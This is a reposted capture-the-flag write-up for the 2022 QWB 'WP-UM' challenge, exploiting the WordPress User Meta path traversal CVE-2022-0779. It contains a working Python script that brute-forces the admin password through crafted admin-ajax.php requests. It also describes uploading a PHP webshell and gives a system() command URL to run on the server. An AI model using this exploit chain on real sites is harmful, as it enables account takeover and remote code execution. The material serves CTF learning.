当前位置:网站首页>[强网杯2022]WP-UM
[强网杯2022]WP-UM
2022-08-05 09:52:00 【Landasika】
考点: WordPress User Meta Lite Pro 2.4.3 Path遍历漏洞CVE-2022-0779
首先初始化题目

获取管理员账号密码
注册一个用户

登陆用户

抓上传的数据包

然后发送,拦截一个action=um_show_uploaded_file的数据包

根据首页信息可以得到管理员的用户名

利用CVE-2022-0779 Path遍历漏洞,如果存在这个文件,那么会显示Remove,如果没有这个文件,就不会存在Remove


爆破得到密码
import requests
lis='qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
password=''
url="http://ip:port/wp-admin/admin-ajax.php"
header={
'Host': 'ip:port',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Origin': 'http://ip:port',
'Referer': 'http://ip:port/index.php/upload/',
'Cookie':'wordpress_dbc1caa18716ea65bde64c8be124687e=11111%7C1656204437%7C4gKvb9ukdHPHLGoZmUck6b0HQLuzMAWGMwrLzcOz6ut%7C773b42bf40849a9d6365ec60b43eb256204f1c41a3c52103702ac0ea8b910a85; wordpress_logged_in_dbc1caa18716ea65bde64c8be124687e=11111%7C1656204437%7C4gKvb9ukdHPHLGoZmUck6b0HQLuzMAWGMwrLzcOz6ut%7C46c1c28f20badcb553d1aef7f4ee2f926b5a6b9cb83e0f934a230f38d30a88cc'
}
for i in range (1,16):
for s in lis:
datas="field_name=upload&filepath=/../../../../../../../password/"+str(i)+s+"&field_id=um_field_2&form_key=upload&action=um_show_uploaded_file&pf_nonce=8a8f9c780f&is_ajax=true"
result=requests.post(url,data=datas,headers=header)
if 'Remove' in result.text:
password+=s
break
print (password)

上传一句话木马
修改上传文件设置


然后进入页面里面更新

上传一句话木马

获取flag
进入wp-content/uploads/file/2.php
wp-content/uploads/files/2.php?cmd=system(%22grep%20-r%20flag{%20/usr/*%22);
oads/file/2.php
wp-content/uploads/files/2.php?cmd=system(%22grep%20-r%20flag{%20/usr/*%22);

边栏推荐
- Oracle临时表空间作用
- 阿里顶级架构师多年总结的JVM宝典,哪里不会查哪里!
- Going to book tickets tomorrow, ready to go home~~
- leetcode 剑指 Offer 10- I. 斐波那契数列
- 线程之Happens-before规则
- 干货!生成模型的评价与诊断
- ECCV 2022 Oral Video Instance Segmentation New SOTA: SeqFormer & IDOL and CVPR 2022 Video Instance Segmentation Competition Champion Scheme...
- 新白娘子传奇系列
- 欧盟 | 地平线 2020 ENSEMBLE:D2.13 SOTIF Safety Concept(上)
- Science bosses say | Hong Kong rhubarb KaiBin teacher take you unlock the relationship between the matrix and 6 g
猜你喜欢
随机推荐
无题二
egg框架使用(二)
express hot-reload
Oracle temporary table space role
正则表达式replaceFirst()方法具有什么功能呢?
无题八
【zeno】为zeno增加子模块/新节点的最小化的例子
Jenkins使用手册(2) —— 软件配置
[Unity] [UGUI] [Display text on the screen]
STM32+ULN2003驱动28BYJ4步进电机(根据圈数正转、反转)
干货!生成模型的评价与诊断
tensorflow.keras cannot introduce layers
Egg framework usage (1)
Marketing Suggestions | You have an August marketing calendar to check! Suggest a collection!
Dry goods!Generative Model Evaluation and Diagnosis
入门 Polkadot 平行链开发,看这一篇就够了
2022-08-01 Review the basic binary tree and operations
Example of Noise Calculation for Amplifier OPA855
What is CRM Decision Analysis Management?
MySQL advanced (twenty-seven) database index principle









